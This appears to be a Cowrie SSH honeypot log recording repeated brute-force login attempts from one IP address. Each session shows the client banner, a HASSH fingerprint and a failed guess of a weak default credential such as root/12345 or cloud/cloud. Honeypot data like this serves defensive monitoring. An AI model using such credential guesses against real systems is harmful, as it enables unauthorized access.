{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:24.150427Z","src_ip":"91.92.42.227","session":"aee10425fe03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51968,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d56a1896ec0","protocol":"ssh","message":"New connection: 91.92.42.227:51968 (10.17.0.5:22) [session: 5d56a1896ec0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:27.898617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:28.170181Z","src_ip":"91.92.42.227","session":"5d56a1896ec0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:28.174503Z","src_ip":"91.92.42.227","session":"5d56a1896ec0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345","message":"login attempt [root/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:29.195033Z","src_ip":"91.92.42.227","session":"5d56a1896ec0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:30.283010Z","src_ip":"91.92.42.227","session":"5d56a1896ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":40958,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fd5ed57c8d0","protocol":"ssh","message":"New connection: 91.92.42.227:40958 (10.17.0.5:22) [session: 3fd5ed57c8d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:34.908902Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:35.023963Z","src_ip":"91.92.42.227","session":"3fd5ed57c8d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:35.027012Z","src_ip":"91.92.42.227","session":"3fd5ed57c8d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tom","password":"111111","message":"login attempt [tom/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:36.470220Z","src_ip":"91.92.42.227","session":"3fd5ed57c8d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:37.745170Z","src_ip":"91.92.42.227","session":"3fd5ed57c8d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41000,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0434b34abd4","protocol":"ssh","message":"New connection: 91.92.42.227:41000 (10.17.0.5:22) [session: e0434b34abd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:42.347003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:42.351096Z","src_ip":"91.92.42.227","session":"e0434b34abd4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:42.439109Z","src_ip":"91.92.42.227","session":"e0434b34abd4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openclaw","password":"123456","message":"login attempt [openclaw/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:42.721815Z","src_ip":"91.92.42.227","session":"e0434b34abd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:43.920904Z","src_ip":"91.92.42.227","session":"e0434b34abd4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.004947900772095,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:45.862510Z","src_ip":"172.81.62.90","session":"3150ec003053","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":55058,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c87b96131bb","protocol":"ssh","message":"New connection: 91.92.42.227:55058 (10.17.0.5:22) [session: 2c87b96131bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:49.091762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:49.155425Z","src_ip":"91.92.42.227","session":"2c87b96131bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:49.227642Z","src_ip":"91.92.42.227","session":"2c87b96131bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"server","password":"123456","message":"login attempt [server/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:50.073112Z","src_ip":"91.92.42.227","session":"2c87b96131bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:51.363724Z","src_ip":"91.92.42.227","session":"2c87b96131bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42464,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ffc69e5150","protocol":"ssh","message":"New connection: 91.92.42.227:42464 (10.17.0.5:22) [session: b5ffc69e5150]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:55.803755Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:56.028577Z","src_ip":"91.92.42.227","session":"b5ffc69e5150","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:56.033464Z","src_ip":"91.92.42.227","session":"b5ffc69e5150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:57.452448Z","src_ip":"91.92.42.227","session":"b5ffc69e5150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:15:58.583167Z","src_ip":"91.92.42.227","session":"b5ffc69e5150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":42560,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bad21ac86df","protocol":"ssh","message":"New connection: 91.92.42.227:42560 (10.17.0.5:22) [session: 5bad21ac86df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:03.029166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:03.220512Z","src_ip":"91.92.42.227","session":"5bad21ac86df","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:03.227412Z","src_ip":"91.92.42.227","session":"5bad21ac86df","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:04.485665Z","src_ip":"91.92.42.227","session":"5bad21ac86df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:05.794621Z","src_ip":"91.92.42.227","session":"5bad21ac86df","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":39230,"dst_ip":"10.17.0.5","dst_port":22,"session":"36a422246d62","protocol":"ssh","message":"New connection: 91.92.42.227:39230 (10.17.0.5:22) [session: 36a422246d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:10.425260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:10.530324Z","src_ip":"91.92.42.227","session":"36a422246d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:10.533725Z","src_ip":"91.92.42.227","session":"36a422246d62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ab123456","message":"login attempt [root/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:11.377169Z","src_ip":"91.92.42.227","session":"36a422246d62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:12.566659Z","src_ip":"91.92.42.227","session":"36a422246d62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47710,"dst_ip":"10.17.0.5","dst_port":22,"session":"cc9e35b49c2d","protocol":"ssh","message":"New connection: 91.92.42.227:47710 (10.17.0.5:22) [session: cc9e35b49c2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:16.838606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:17.145410Z","src_ip":"91.92.42.227","session":"cc9e35b49c2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:17.147894Z","src_ip":"91.92.42.227","session":"cc9e35b49c2d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:18.847306Z","src_ip":"91.92.42.227","session":"cc9e35b49c2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:20.638012Z","src_ip":"91.92.42.227","session":"cc9e35b49c2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":47748,"dst_ip":"10.17.0.5","dst_port":22,"session":"e106f3863dfd","protocol":"ssh","message":"New connection: 91.92.42.227:47748 (10.17.0.5:22) [session: e106f3863dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:23.454415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:16:23.774313Z","src_ip":"91.92.42.227","session":"e106f3863dfd","protocol":"ssh"}
